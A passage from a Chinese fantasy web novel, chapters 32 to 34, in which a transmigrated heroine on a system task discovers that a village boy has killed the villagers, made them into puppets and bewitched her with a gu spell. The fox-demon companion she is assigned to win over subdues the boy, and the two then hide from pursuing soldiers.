她靠过来的刹那,少年垂在身侧的手几不可察地僵了一瞬。 他没有躲闪,只是垂眸看着她近在咫尺的侧脸,长长的眼睫在阳光下一闪一闪的,像蝴蝶扑朔的翅膀。 她双手背在身后,一步步往后退,直至背影完全从他的视线中淡出。 祁无恙垂下眼帘,看了看那颗被她递来的糖果,沉默地站了许久,才缓缓收回手。 这种五颜六色的东西尝起来会是什么味道?他不太好奇,也不太想扔掉,于是暂时把它收起来,万一哪一日路上碰到了乞讨的小妖,还能施舍给它。 徐颂禾接过那婆婆手里的扫帚,把她扶到一旁坐着∶“婆婆,我来。” 老人家拍了拍她的手背,满是皱纹的眼角舒展开来∶“好孩子,灶上煨着粥,先去用些早饭吧。” 话刚一说完,阿生不知从哪个角落蹦了出来,手里端着碗∶“娘亲熬的粥最香了!姐姐,你快来尝尝!” 他的笑容灿烂,眼神亮闪闪的,与昨夜夸她漂亮时毫无二致。 徐颂禾接过碗,望向站在门口的人∶“公子,你来点吗?” 祁无恙的视线从阿生那张灿烂无暇的脸上扫过,最终落到她手里那碗粥上。 “不必了。”他声音平淡,听不出什么情绪。 “阿生,又和你娘亲出来晒太阳了?”一个粗犷的声音在耳边响起,只见一中年汉子肩上扛着锄头,笑眯眯地道∶“这是家里来人了?” 手臂被人攀住,徐颂禾低下头,看见阿生笑嘻嘻地回应他∶“不是客人啦,是我姐姐哦。叔叔,你这是去哪?” 这时村里的人渐渐多了起来,每来一个主动打招呼的人,阿生便高兴地用“婶婶”、“伯伯”之类亲切的称呼来叫唤他们,仿佛整个村子里的所有人都是他们家亲戚。 “姐姐,你不要介意,”他转过头,在阳光底下灿烂地笑起来,“他们都很喜欢我,对我很好,所以很热情。” “你什么时候多了个弟弟?” 徐颂禾感到手腕被人拽了一下,便离阿生远了些。她茫然地抬起头,看见少年正微微笑着,那笑意却未达眼底∶“不是要帮我找东西吗?还待在这里浪费时间做什么?” 这话一出,方才还坐在一旁的老婆婆立马站了起来,着急忙慌地道∶“这可不行,这位小公子,你身上的伤起码还要休养个半个月才能好,二位不如就暂时留在此处,等伤好了再……” “不用。” “怎么能不用呢?” 他原本就没用多大力,眼下毫无征兆地被她甩开,微有些错愕的低下眸,瞳孔里倒映出她认真的模样。 “我觉得还是听婆婆的好,”她仰起头,那语气不像是在开玩笑∶“你的伤还没好,既然人家都同意了,那不如就留下来,等伤好全了再走。” “……” 空气陷入短暂的沉寂,片刻后,他松开了手,轻笑一声∶“好啊,那便留下。” 他答应得太过爽快,反倒让徐颂禾愣了一下。然而不等她细想,阿生已经欢呼着重新挽住了她的手臂∶“太好了!姐姐可以一直陪我玩了!” 祁无恙没再阻拦,唇边那抹笑意深了几分,却不达眼底。 徐颂禾被拉着往前走,又没忍住回头看了他一眼,他视线正飘向别处,没察觉到她的目光。 “姐姐,这些是我自己做的哦,好看吗?” 她的思绪被唤回,低头看了看那形色各异的草蚂蚱,笑了一下∶“好看呀,阿生最厉害了。” 阿生笑得更开心了,又拉着她的手,想让她下河陪自己玩。 徐颂禾看着自己的裙子,有些为难。 他眨巴了下眼睛,很快看出了她的顾虑∶“那姐姐在这等我,我下去捉鱼。” “哟,阿生,和你姐姐一起来摸鱼了?” 徐颂禾转过身,循声看过去,只见一个和自己一般高的男孩正站在偏高处,叉着腰看他们。 阿生看了他一眼,没回应。 “我也想加入你们。”见没得到回应,他索性直接开了口。 阿生毫不客气地拒绝了他∶“那不行,你要是掉河里了,谁去捞你?” 没想到这么大点的孩子还会有这样的顾虑,徐颂禾有些哭笑不得∶“没有那么容易掉河里的,就让他来吧。” 她刚说完这句话,便发现那男孩忽然杵在原地一动不动了。 “你怎么了?”她晃了下他的肩膀,他却只目光空洞地望着前方,像灵魂出窍了似的。 “我姐姐问你话呢,怎么不回答?”阿生急忙解释道∶“他一直都这样,总是喜欢发呆,姐姐别介意。” 她倒没什么好介意的,只是这人刚才那么奇怪,好像突然被施了什么法咒一样,原来只是因为发呆了? “不了不了,我想起来我还有事。”那人摆了摆手,转身一溜烟跑没影了。 “阿生——” 身后传来一声叫唤,那老婆婆拄着拐杖缓慢地走了过来∶“阿生,带姐姐回来用午膳了。” 他们出来已经那么久了吗?徐颂禾跟在他身后,走进那间屋子里时,却发现只有老婆婆一个人。 “婆婆,那位公子呢?”她被推着坐到了椅子上,奇怪地问。 “哦,他刚才说有事,就先走了。” 徐颂禾眨了眨眼,愣愣地看向门口。 他怎么又一声不吭走了?从余掌柜那事开始,她以为这人起码会对自己多一些信任,毕竟好感度也不少了,可没想到他还是改不掉这个坏毛病。 “别管他了,姐姐,我娘亲做饭可好吃了,快尝尝吧。” 她抬起头,桌子对面的老婆婆正和蔼地往她碗里夹菜。 “还是不了,谢谢二位的好意,”她没有过多思考便站起身,道∶“我得出去找我的朋友。” 她说罢,不顾他们的劝阻,径自往外走去。 “祁无恙,你在哪呢?” 徐颂禾眼神迷惘地望向四周,一个熟悉的面孔都没有。 又走出几步,周围的村民见了她,纷纷笑着打招呼,就好像他们已经认识t了很久似的。 除此之外,她在那些人口中还多了一个称呼——阿生姐姐。 她不太习惯这个称呼,小孩子随便叫叫也就罢了,怎么大家都这样叫?她本来是个独生女,突然间多个弟弟也太奇怪了。 又漫无目的地走了许久,她甚至都有点忘记自己是来干嘛的了。 倏然间一颗石子滚到脚边,她愣了片刻,视线循着它滚来的方向望去,看见一红衣少年正双手抱胸倚在一棵树旁,似笑非笑地看过来。 “你不是说,认出我很容易么?” 在她说话前,他先一步漫不经心地开了口∶“现在怎么认不出来了?” 徐颂禾有些迟钝地张了张口,最后什么也没说,只静静地打量着他新换的这具身体。 这家伙,还真是没有好看的就不换了。 不过这样也好,本来要做那些乱七八糟的任务就烦,还要让她跟着一个长相丑陋的人,还得攻略他,那不如直接让她毁灭好了。 徐颂禾从他身旁擦过,见半晌都没有人跟上来,她微微顿足,回头望向他∶“怎么不走了?” “我又不想走了,”他笑了一笑,道∶“他们那么盛情邀请你,不回去看看?” “……是你又不告而别,我不得已才出来的!”他不提这个还好,一提她就来气。徐颂禾加快了脚步,跟到他身旁时,转头瞪了他一眼∶“你下回要是再这样,我绝对不找你了!” “是么?”祁无恙轻笑,慢悠悠地跟上她的步子,红色衣摆扫过路边的草叶。他的目光从她脸上一掠而过,状似无意地道∶“方才他一口一个‘姐姐’地叫,你似乎还挺受用,我怎么好意思打扰?” 第32章 他是不是吃醋了 徐颂禾不知道他这阴阳怪气的劲是和谁学的, 刚想出口反驳,却突然想到什么,收回了即将敲门的手, 抬起一双眼睛看着他。 “祁无恙, 你是不是吃醋了?” 他像是第一次听见这个词, 微微皱起眉,极为疑惑地迎接她的视线∶“什么是吃醋?” 她想了想,用比较易懂的方式解释给他听∶“就是在看见喜欢的人和别人在一起的时候, 就会难受。” “可你还没有告诉过我, 什么是喜欢。” 正说到这, 屋门忽然从里面打开了,一个身影蹦跳着跑出来, 拉着她的手往里走。 “姐姐,你刚才还没吃饱吧?怎么突然间走了?” “我……” 徐颂禾沉默了一下, 回头看向门口,空荡荡的只有风吹过。 她这回已经感觉不到生气了, 垂下手时,在腰间摸到了鼓鼓囊囊的东西, 拿出来一看, 是一叠灵力化成的符纸。 上面还点了些鲜血。 她微微一愣,这些……是他留给自己的保命的东西吗? 可她不清楚要怎么用呀。 又迷迷糊糊在这过了半日,听周围的人一口一个“阿生姐姐”地叫, 徐颂禾自己都快要相信她就是阿生的亲姐姐了。 “婆婆, 阿生, 很感谢你们这两日的收留,”她忍着困意,勉强撑起眼皮, 道∶“可我明日真的要走了,日后等我完成了我的任务,一定会回来看你们的。” 那婆婆不说话了,低着头在一旁站着,好像压根没把她方才说的话听进去。 阿生张了张嘴,似乎刚想说话,门外忽然有几声摩擦声,他便住了口,转身去开门。 只听见他“呀”的一声,说道∶“哪里来的兔子?” 兔子?徐颂禾转头看去时,他已经揪着小白的腿把它拎了起来。 “阿生,拜托你不要伤害它,”她在他就要甩手把兔子扔出去前赶紧开口道∶“它是来找我的。” 徐颂禾接过兔子,把它捧在手心里,温柔地顺着毛。 阿生眨巴着眼睛,笑着说∶“姐姐真好,不仅长得漂亮,就连对一只兔子也这么温柔。” 她被夸得不好意思了,眼见天色暗下,一旁沉默许久的老婆婆忽然开了口∶“孩子,天色不早了,我们该回屋睡了,把这里留给姐姐。” 阿生被拉着离开后,她端坐在榻上,一遍遍抚摸着兔子湿漉漉的毛。 “你怎么一声不吭就走了呀?和那个屡说不改的家伙一样。你又不会说话,我找不到你了可怎么办?” 她轻声说着,语气里分明没有责怪的意思。 系统的声音却在这时响起∶“恭喜宿主,好感度已达60%,可获得人物的记忆碎片一枚或自由选择道具一个。” 徐颂禾略带惊讶地抬起头,这攻略任务是不是也太容易了点?她就待在这什么也没做,甚至攻略对象还不在自己身边,好感度怎么就莫名其妙涨了这么多? 不过哪有嫌任务简单的?能早点回家再好不过了。 “我要看祁无恙的记忆碎片。”她几乎没有犹豫地选择。 于是一块碎片凭空出现在她的手心里,里面倒映出几张人脸。 碎片内容似乎和上回的衔接上了,井底的少年仿佛把眼泪都流干了,眼眶看上去略微泛红,他在里面不知待了多少天,走出来后,那道身形才完完全全呈现在徐颂禾面前。 少年皮肤薄得像一层纸,里面青色的血管几乎都要透出来。他的唇瓣没有一丝血色,双手沾满污泥,爬出来时整个人踉跄了一下,仿佛随时有可能昏死过去。 她感到心脏狠狠揪了一下——祁无恙一个人在井底待了不知道多少天,这么久不进食怎么能受得了? 徐颂禾紧抿着唇,目光一瞬不瞬地盯着碎片。 少年面无表情地从地上横着的死尸上跨过,蓦地脚下一绊,跌跌撞撞的险些摔倒。但他竟只平淡地将那只绊住他的手踢开,就像随意踢开一颗不起眼的石子般,而后便如无事发生一般朝前走去。 黑暗中,一人腹部中箭,正踉踉跄跄地朝他奔来。 祁无恙抬手抓住他,那殷红的血便沾了满身∶“师叔,你受伤了?” 来人口中鲜血直流,紧攥住他的衣袖,身体拦不住地往下跌∶“长……长老他……他死了,对……对不住……” 他唇色鲜艳,已经分不清是否是被血染红的,嘴唇剧烈颤抖着,眼皮刚一控制不住地合上又立刻睁开,像是怕自己这一睡便再也醒不过来了。 少年沉默良久,平静地接受了这个答案∶“师叔,你且忍忍,我先为你疗伤。” 被唤作师叔的人晃了两下脑袋,随即闭上了眼。 风过竹林,枯黄的叶子落在少年肩头,他倚坐在一旁,目光疲倦地瞥了眼躺在地上的人。 系统的声音穿插在其中为她介绍∶“‘师叔’名叫师清羽,是狐族的副掌门人,也是祁无恙除了父母外,身边最亲近的人。” 于是,在看见他缓缓睁开眼的那一瞬,徐颂禾松下口气——还好还好,起码祁无恙不是只有一个人了,还有人陪着他。 不过,那师清羽后来又去哪了? “阿烬,你其实不必费此周章来救我,”师清羽手肘撑地,艰难地坐起身来,咳嗽几声后,苦笑道∶“即便那一箭没能让我丧命,我拖着这样一具残躯,日后也只怕会拖累你。” 祁无恙淡淡地看了他一眼,说∶“除了你,还有没死的么?” 师清羽一怔,旋即痛苦地摇头,一拳重重砸在了树干上∶“那帮人打着守护天下和平的名号,做尽畜牲之事,老的小的,他们都没放过。” 少年长睫轻轻颤了下,垂着眼不说话了。 “阿烬,那灵脉……在你身上吗?”一阵寂静后,师清羽又开口问道。 “不在。”他很快答完,又以一种困惑的目光看着对方∶“父亲一向最重用你,难道没有给你么?” 师清羽眼中失落和惊恐交加,猛地攥住他的手腕,懊恼至极∶“那一定是落入了那些宗门手中……怨我,都怨我,我真应当去死,给你爹娘的在天之灵赔罪!” 少年横出手拦下他就要往树上撞的脑袋,皱了皱眉∶“师叔,我费劲救你,不是为你让你醒来自尽的。” 他抬起头,对上一双墨色的眼瞳。 “现在只剩你我二人,谁也不能轻易去死。” 这一次的碎片时间转换得有些快,快到祁无恙刚说完这句话,倾盆暴雨下,他唯一的亲人便为了保护他,死在了数百只箭矢下。 大雨将地上的血迹冲刷得一干二净,少年没有一句言语,静默地背着没了气息的人,在泥泞的路上踩下一排排时轻时重的脚印。 雨水顺着眼睫淌下,他身上没有一处是干的,记忆之外的姑娘眨了下酸涩的眼,看不出这是他的泪或t是只是雨珠。 所以……他就一个人守护着族人的遗物,孤孤单单过了那么多年,还要变成那些名门正派口中自私自利,无恶不作的邪魔歪道。 “祁无恙,只要你乖乖交出灵脉,我等可饶你不死。” “你拿着灵脉有什么用?还不如赶快物归原主,还天下一个太平。难不成你还要让所有人跟着你一起死吗?” 物归原主?这帮强盗倒是把掠夺说得如此冠冕堂皇。 少年手握长弓,红衣猎猎,墨发几乎和夜色融为一体。 他目光淡淡扫过脚下众人,声音不轻不重∶“生或死,选择权不是在你们手上吗?现在离开的,就可以不用死。” “你这魔头好大的口气,”为首的玄衣道士满脸怒容,道∶“大家不用怕,量他再怎么厉害,也挡不住我们这么多人!” 然而话音未落,一支箭矢骤然离弦,径直射向正待拔剑出手的两名弟子,人群中瞬间炸开了一团血雾。 一道身影在夜色中来去自如,却又如鬼魅般让人不知所踪。 “结阵!快结阵!”倒下一半的人后,终于有人声嘶力竭地喊。 尸体堆积起来,徐颂禾咽了下口水,遮住眼睛不敢看这血腥的画面。 “噗呲” 整个画面好似被定格住了,紧接着听见一声欢呼∶“中了中了,我射中他了!” 她挪开手,只见少年手中握着一支箭,手臂被划出了一道血痕,指尖不断滴着血。他波澜不惊地看了那人一眼,反手将那箭掷出,不偏不倚穿过对方胸膛。 “祁无恙,你这妖孽好生恶毒,这里的人都被你所杀,早晚有一天你会偿命的!” “不用等到早晚了,”有人声音激动,说道∶“你们看,他好像伤得很重,不如就趁今日杀了他,以绝后患。” 少年身形微不可察地晃了一下,唇边缓缓溢出的血液将唇畔染红,血珠顺着指尖淌下,在脚下积成一小片暗色。 他抬手,随意抹去唇边的血迹,可这个简单的动作却让他眉心几不可见地蹙了一下,像是牵动了内里更深的伤。 “他撑不住了!”有人看出他的不对劲,声音里带着压抑不住的兴奋。 祁无恙闻声抬眼,那双墨色的眸子冷冷扫过去,依旧没什么情绪,却让那人下意识后退了半步。可谁都看得出,他周身的灵力已远不如先前凛冽,那身红衣也仿佛黯淡了几分。 “碎片时长结束,请宿主回到现实继续攻略任务。” 徐颂禾瞪大了眼,不可思议地说∶“你有没有搞错?正当这关头,好歹给我放完吧?” 祁无恙原本是占了上风的,可为什么会无缘无故受伤吐血? 想不出答案来,她把小白放到一旁,又摸到了那一沓符纸,微微一顿,思绪瞬间从方才那记忆碎片中抽离出来。 婆婆和阿生明显不会伤害自己,那么祁无恙给她这些是做什么用的? 徐颂禾蹙起眉对着它们思考许久,最后随手捻起一张,恰好被窗外灌进来的风吹起,脱离了指间。 “哎,别乱飞呀……” 她起身想把它捞回来可那符纸东拐西拐的,竟顺着门缝飘进了里屋。 徐颂禾微微一愣,怔在了原地。 她还没进过那里面,但那是婆婆和阿生休息的地方,怎么能去打扰人家睡觉呢? 忐忑地贴在门边听了一会儿,却没什么动静传出,看样子他们正睡得香甜。 徐颂禾稍稍松口气,刚回到榻上坐下,忽然视线一转,瞥见最上面的一张竟发出了亮光。 她噌地一下站起来,紧张兮兮地盯着它。 那阵亮光消失后,符纸上逐渐出现了一个画面。 她微微睁大眼,屏住呼吸看着它。 只见里屋的走廊弯弯绕绕,不止一个房间。 给她看这个做什么?不知道婆婆和阿生在哪个房间…… 不过他们两个人住,怎么有这么多的…… 混乱的脑子忽然停止了思考,只见画面上多出一个矮小的身影,背后还跟着一群耷拉脑袋的人。 “你睡这屋,你睡那屋……” 阿生把他们一个接一个推进不同的房间里,随后关上了门。 徐颂禾呼吸一滞,顿感疑惑——这些不是白日里的那些村民们吗?他们是什么时候进来的,又是谁带进来的? 然而没等她想清楚,阿生猛然间抬起头,猝不及防和她对视上了。 徐颂禾一个激灵扔掉那张符纸,尽管知道里面的人看不见她,也还是被吓得心脏砰砰直跳。 便在此时,那间隔开里外屋的门被人打开了,阿生打着呵欠走出来∶“姐姐,你还没睡吗?” 她心里一慌,随便找个理由∶“我……睡不着。” 阿生却高兴起来∶“睡不着的话,姐姐来陪我做游戏吧!刚好我也不困。” 打呵欠都打出眼泪来了,确定不困吗?徐颂禾压下困惑,点点头,跟着他走了进去。 那些屋子关着门,静悄悄的,仿佛从来没人来过。 她不动声色地打量着周围的一切,按耐住想要打开门的手——难道方才是自己看错了? 阿生忽然停下脚步,拧开了其中一间门,转过身笑眯眯地看着她∶“就是这里了,姐姐,你先进去吧。” “还有一件事……” 徐颂禾顿了一下,不解地望着他。 阿生笑了下,说∶“姐姐身上的东西,不能带进去哦。” * 夜已深,那婆婆缓缓走出门,抖着手打亮火烛,蜡烛点燃的刹那,墙壁上多出一道被拉长的影子。 少年弯着一双眼,修长的手指扼住她脆弱的咽喉∶“她在哪?” 那婆婆没答话,眼里神色如常,没有半分恐惧。 “在这呢。” 一个清脆的声音响起,阿生手里牵着一个少女,笑嘻嘻地问∶“你找我姐姐干什么呀?” “找……我?”徐颂禾面带疑惑地指了指自己,又歪着脑袋看他,发带轻轻飘起。 半晌,她不解地问∶“你是谁呢?” 第33章 别欺负她 耳边只有烈风穿过墙壁的声音, 少年偏了偏头,不紧不慢地松开那只手,老婆婆便像个稻草人似的顺势栽倒下去。枯瘦的身躯在尘土中扬起细微的浮灰。 他散漫一笑∶“这就不记得我了?” 徐颂禾皱了皱眉, 不太认可他方才的行为∶“你找我就找我, 欺负一个老婆婆干什么?” 话音未落, 祁无恙眼底笑意骤然褪去,他敛起一双眸子,声音淡淡∶“不许这样和我说话。” 真奇怪, 他为什么会感到烦躁?既然她不记得他, 还要帮着别人来指责他, 那就干脆杀了。 不管她是因何种原因站在他的对立面,都算背叛了他, 而他不可能对任何一个有可能威胁到自己的人心软,他应当立刻动手才对。 这个念头如毒藤般缠绕心脏, 越收越紧。 祁无恙淡然抬眸,对上少女茫然的眼睛。 那双眸子里有火花跳动, 唯独他的身影却愈加模糊不清。 事实证明,他的确没有过多犹豫便动了手。只见阿生身体忽然漂浮起来, 连挣扎都还来不及, 细小的脖子便已被他狠狠扼住。 “你在欺负她没有灵丹?”祁无恙收紧了手,斜睨着他,冷冷勾唇∶“不想死得太丑, 就把你的小伎俩收回去, 她不是你的傀儡。” “不是我的, 难道是你的?”阿生被掐得脸色泛白,却还能发出声音,甚至朝他扯出一个扭曲的笑∶“你都这么厉害了, 身边多一个人少一个人应当无所谓吧?那你回来救她,是出于什么?不就是觉得她理所当然应该帮你,但她现在脱离掌控,你感到怨恨罢了。” 祁无恙神色没什么变化,只是扼住他的那只手微不可察地放松了些。 阿生忽然别过头,用尽力气挣扎起来,带着哭腔大喊道∶“姐姐,姐姐救我,这个人要杀了我!”那声音凄厉,在狭小的屋子里传开。 徐颂禾眼珠动了动,麻木地看过来,下一秒,她一言不发地跑过来试图掰开他的手。 “下回要聪明些,”祁无恙看了她一眼,丝毫不为所动,淡淡地说∶“即便不记得我,但眼下谁更占优势,你看不出来么?选他,你就会落得一样的下场。” 她微微一顿,搭在他手上的那只手慢慢松开,旋即用带着迷惘和挣扎的眼睛看向阿生。 “你不是我姐姐吗?为什么要犹豫?”阿生大声嚷起来,道∶“看见那边了吗?桌上有一把刀,你快拿过来杀了他,这样我们就可以继续平平安安地待在这里,否则的话,他会杀了我t们!” 徐颂禾迟疑了一下,目光顺着他说的方向看去,果然见一柄冒着寒光的刀静静躺在桌案上。 她没有立刻过去,而是挪动了下步子,随后抬起头观察祁无恙的反应。 蓦地,一直蹲在榻上毫不起眼小白高高蹦起,如同一道白色的闪电,从阿生衣襟里叼走了一张符纸,又以迅雷不及掩耳之势贴在她手上。 做完这一切,它忽然掉过头,两只前爪死死扒住祁无恙的手,低头龇牙,作势要咬他。 少年毫不留情地拂开手,将它重重摔在了地上。 “怎么?”他朝她笑了笑,眼里漫上一丝漫不经心的玩味,目光掠过她,又扫过那把刀,“你想拿刀捅我?” 徐颂禾诚实地摇了摇头,仍旧不说话。 那符纸贴在身上,暂时限制了她的行动。 祁无恙重新以审视的目光睨向被自己掐住脖子的人,笑着问∶“你是想留住她,还是希望看见这里被一把火烧没?” 说罢,他不等对方回答,便抬起手随意打了个响指。 几乎是在一瞬间,窗外骤然被一阵明亮的火光覆盖,恰到好处的大风带着火苗四处乱窜,火势很快扩散起来。 他望着一棵棵红彤彤的树木,又瞥向阿生那张难以置信到惊恐的脸,微微一笑∶“白送你的灯笼,不喜欢?” 手上力道丝毫未减,阿生几乎要背过气去。 “不喜欢,那就去死吧,”祁无恙笑了笑,扼住了他最脆弱的那根青筋,“死之前,先把她的咒解了。” “我不解就不解!”阿生拼着最后一点力气尖叫起来,“我打不过你,但你同样也解不了我的蛊,她现在是我姐姐,你把我杀了,她也只会记恨你杀了她的弟弟!” “是吗?”祁无恙看向她,问∶“你会记恨我?” 然而没等她回答,他倏地松开钳制,染血的指尖在那张符纸上不知画了什么字符,随后抬起她下颌,让她看着自己的眼睛。 良久,徐颂禾艰难地眨了下干涩的眼,转头拍开他的手∶“你……你干嘛掐我?” “刚刚那样才叫掐。”他反驳。 刚刚?徐颂禾后知后觉地扫向四周,惊觉那老婆婆竟脸朝地地躺在地上,不知就这样过了多久。 她慌忙上前把人扶起来,晃了晃她的肩膀∶“婆婆,婆婆?” 婆婆嘴唇发青,脸色惨白,伸手去探她鼻子时,已经没有了气息。 徐颂禾鼻尖一阵酸涩,忽然抱着她大哭起来。 “别哭了,”祁无恙擦干净手上的血,淡声道∶“她早就死了,你现在哭是不是太晚了点?” 徐颂禾停止了哭泣,抬起头抽噎着看向他∶“你什么……意思?” “那你要问问他。” 祁无恙侧身让出一条道,露出趴在地上狼狈咳嗽的人。 “阿生?”徐颂禾完全不清楚发生了什么事,她的记忆在跟随阿生进入房间时便断了。 她想走过去,却又被祁无恙拦了下来,只好隔着一段距离问道∶“阿生,方才发生了什么?你娘亲她……她被谁害了?” 阿生红着一双眼睛盯着她,许久没说话,忽然间哇哇大哭∶“你不是我姐姐,她也不是我娘亲,假的,都是假的!从来都没有人要我……” 这突如其来的哭泣倒是让她有些懵了,小白也像是受了惊吓,跳到她怀里使劲蹭,一副受了很大委屈的模样。 “这里还有几个活人?” 等他哭完,祁无恙不疾不徐地问出声。 阿生擦干眼泪,瞪着他∶“你从一开始就什么都知道了,为什么不走?是想故意耍我吗?” 祁无恙回道∶“你不给她下蛊,或许我早就走了。” 徐颂禾在一旁听得一头雾水,立马见缝插针地问道∶“什么下蛊?阿生,你方才把我叫进去,是对我下蛊了?” “我没有!我又不会伤害你,”阿生的声音低下去,掺杂着几分委屈∶“我……我只是想要一个姐姐,我还没有哥哥姐姐……” “你是什么时候对我下的蛊?”她不悦地皱起眉,道∶“是方才把我叫去屋里的时候……” “恐怕还要早一些,”祁无恙笑了一声,语气冷冷∶“在你兴高采烈地说要奖励他的时候。” 所以他之前一直喊自己姐姐,就是为了迷惑她?徐颂禾又好气又无奈∶“这是能要来的吗?姐姐和娘亲一样,难道你的娘是要来的?” 阿生猛地抬起头,闪着泪光的眼睛泛着些许诡异。 这眼神看得她有些不安。 不会……真说中了吧? 难不成他也对老婆婆下了蛊,那该怎么解?他的蛊会让人致死吗? 他方才说不会伤害自己,可如果不会的话,婆婆为什么…… 一看见地上没了呼吸的人,她就又忍不住想落泪。 阿生双眼无光,忽然喃喃自语道∶“早知道是这样,我就不心软了。我应该让你和他们一样,这样你就不会醒过来了。” 徐颂禾微微一怔,还没明白他这话的意思,身前的少年便忽地笑了一声。 阿生身体颤了一下,恼怒道∶“你……你笑什么?” “没什么,”祁无恙视线从他身上掠过,不咸不淡地说∶“我只是很佩服你,能有毅力和一群死人日复一日地演戏。” “什么叫一群死人?” 注意到阿生变了的脸色,她抬头看看祁无恙,忽然有种不好的预感,立刻转身推开屋门,一间间打开了那些小房间。 每一间都“睡”了不少人,只是这些村民的睡觉姿势有些奇怪——这里一张床也没有,白日里堆满笑容,热情待人的村民此刻互相叠在一起,眼皮合拢着,仿佛多大的动静都不会把他们吵醒。 徐颂禾缓步进去,颤抖着蹲下来伸出手去探他们的鼻息。 “阿生,是你杀了他们?”她奔出来,眼里震惊和愤怒交织,“你也对他们下蛊了吗?” “那又怎么了?谁让他们不愿意做我的家人?”阿生盘腿坐在地上,又哭出声来。 徐颂禾紧紧盯着他,说不出一句话。 面对一群无辜又善良的村民,他到底怎么下得去手? 祁无恙没耐心再听他无止境地哭泣,一张符纸从他袖中飞出,贴到了阿生身上。 他淡淡道∶“说。” 阿生嘴唇嗫嚅着,他不愿说,可迫于那张符纸的压力,只得开了口。 “我出生的时候,娘亲就死了,我从没见过她的模样,可是爹爹他们都说,她是被我克死的。从小到大,身边没有人喜欢我,只要我一接近,他们就会跑得连影都看不见。 “算命的说的对,我的确体质特殊,我不仅能克死娘,还能害死其他接近我的人。既然他们都讨厌我,那就应该离开这个有我的世界!” 他说着,忽然激动起来。 阿生凭着他超人的天赋练成了傀儡术,可他从小体质弱,有人觊觎他的天赋,想逼他炼制傀儡,他一路逃亡,最后逃到这里,被这些淳朴的村民收留了。 阿生停顿了一下,继续说∶“伤好以后,我原本想留下来,做他们的亲人,可是那一日,我居然听见他们在偷偷密谋着什么时候把我送走。我已经被抛弃过一次了,不能再忍受第二次。” 难以相信会有人有这样的想法,徐颂禾颤声道∶“所以你就杀了他们,把他们炼成了傀儡?” “没错!”阿生骄傲地昂起头,道∶“谁让他们对我那么好,最后又想抛弃我的?我没有家人,他们很适合当我的家人,既然不愿意,那就只好这样了。” “你……” 徐颂禾张了张口,却说不出痛骂的话,只是哀哀地看着他。 “你觉得该如何?”她将视线投向祁无恙。 “他的傀儡术练得真糟糕,”他捻起一片枯叶,放在指尖把玩,“不及我原身的万分之一。” “……你也会?” “我现在不会。” 好吧,那就是只有他是狐狸的时候才会。 “家人是强求不来的,他们对你那么好,你怎么忍心下手的?”徐颂禾看着他,阿生还是那副天真无邪的孩童模样,可她却觉得,面前已经换了一个人。 又或许从未变过,只是她一开始没看清。 “你可曾后悔?” “我不后悔,不后悔!”他睁大眼,故意强调了两遍,“是我命硬才活到今天,那段时光我已经享受过了,就算你们现在要杀我,我也不亏!” 阿生说罢t,忽然咧开一个笑∶“你们与其在这纠结我后不后悔,不如好好想一想,我死了之后,要怎么逃命?” 什么意思? 没等她反应过来,一道灵力忽地飞出,径直点向阿生后背,他便摇摇晃晃地倒了下去。 徐颂禾震惊地看向祁无恙∶“你杀了他?” “没死。” 他随口扔下二字,攥着她手腕从窗户跃了出去。 她低下头,瞳孔微微一缩——只见数名士兵踹开了方才的屋门,在里面进行大肆搜捕。 “那些人是来抓你的吗?”她不安地问。 祁无恙“嗯”了一声,轻笑道∶“不过他们现在可认不出我,要说准确点,抓的应该是你。” “……那该怎么办?他们这么多人,我跑不过的。” “我怎么会知道?你或许应该自求多福。” 他翘起唇,眼里快要溢出的幸灾乐祸让人一看就火大。 “他们不在这,去别处搜!”一人从屋里转了出来,喝道∶“他们跑不远的,都给我搜仔细了!” “是!” 他们应和着,数十人掉转了方向,就要向他们这边走来。 祁无恙低眸好整以暇地看着她∶“还不跑吗?他们……” 温热的掌心骤然贴上来,令他的话戛然而止。 少女踮起脚尖,借着身形的力道将他往树木浓荫的阴影里推。 粉嫩的花簌簌飘落,清甜的香气瞬间漫过周身。她的手心还停留在他唇上,隔绝了未说出口的话。 铁骑声铺天盖地袭来的瞬间,她仰起脸,唇瓣在自己手背上轻轻碰了碰。 第34章 怎么还记仇 掌心的温度令他指尖微微一僵, 少年偏了偏头,眼底那抹漫不经心的玩味仿佛在一瞬间消散。 “那边有人,去看看!” 脚步声逐渐逼近, 耳边响起一声凌厉的喝问∶“喂, 你们两个, 有没有见过一男一女从这里路过?” “没有没有,”徐颂禾不耐烦地回应,身体往他怀里缩, 轻轻哼了一声, 故意用嗔怪的语气说∶“夫君, 他们好烦,干嘛非要在这个时候来问我们?” “……” 这种时候, 他不会不配合自己吧? 感觉到一只手带着寒意朝自己伸来,徐颂禾干脆一不做二不休, 将脑袋贴在他身前,惴惴不安地闭上了眼。 祁无恙抬手在离她腰肢仅半寸的空气中悬停住, 眼里笑意冷冷∶“你猜我有没有见过?” 那只即将碰到她的手又收了回去,手的主人略带尴尬地咳嗽两声, 道∶“都看什么看?去那边搜!” 徐颂禾从他臂弯间抬起脸, 在看见那些人走远了后,长长吁了口气。 “好险好险,可算走了……” 他把她推开, 不咸不淡地问∶“你怎么想到的?” “我想不到别的办法了, ”她捂了捂自己发热的脸颊, 说道∶“不过这有什么的呀?我又没有真的亲你。” 她说得理直气壮,倒叫他无言以对了。 那些道士找不见人,又不死心地围着村子绕了两圈, 最后终于信了他们不在这里,相继离开。 他们方才在那间屋里搜了好久,也不知道阿生他们怎么样了。徐颂禾拉着他往回走,忽然听见身后的人轻轻“啧”了一声。 “他都对你下蛊了,你还要关心他?” 她停下脚步,顿时变得不安起来∶“那个蛊……你不是帮我解了吗?” “你是不是误会了什么?”祁无恙哂笑∶“我可从没说过我会解。” 好吧,他刚才好像是说过,只有在自己身体里的时候,才会这些奇奇怪怪的东西。 徐颂禾小心翼翼问道∶“那我会死吗?” “不会,”他眼里的戏谑转瞬即逝,幽幽地说∶“不过,你会很麻烦。” “为什么?” “因为你会时不时变成他的姐姐。” 她方才的确是忘记了他,但这也不是她想的呀!而且这东西也不是完全不能控制的吧?徐颂禾只好说∶“好吧好吧,你别担心,我下回一定尽量记得你。” “你记不记得我,似乎也没什么所谓,”祁无恙淡淡一笑,目光中的讥诮冷意显露无遗∶“倘若你还要帮他,就只能和那些村民下场一样了。” 徐颂禾不由自主地打了个寒噤,抬起眼怒视他∶“你这个人干嘛动不动就想杀人?万一我能控制得好呢?而且……而且我要是真的又把你忘了,你就不能试着唤醒我一下吗?实在不行你扔下我一个人也好过动手啊……” 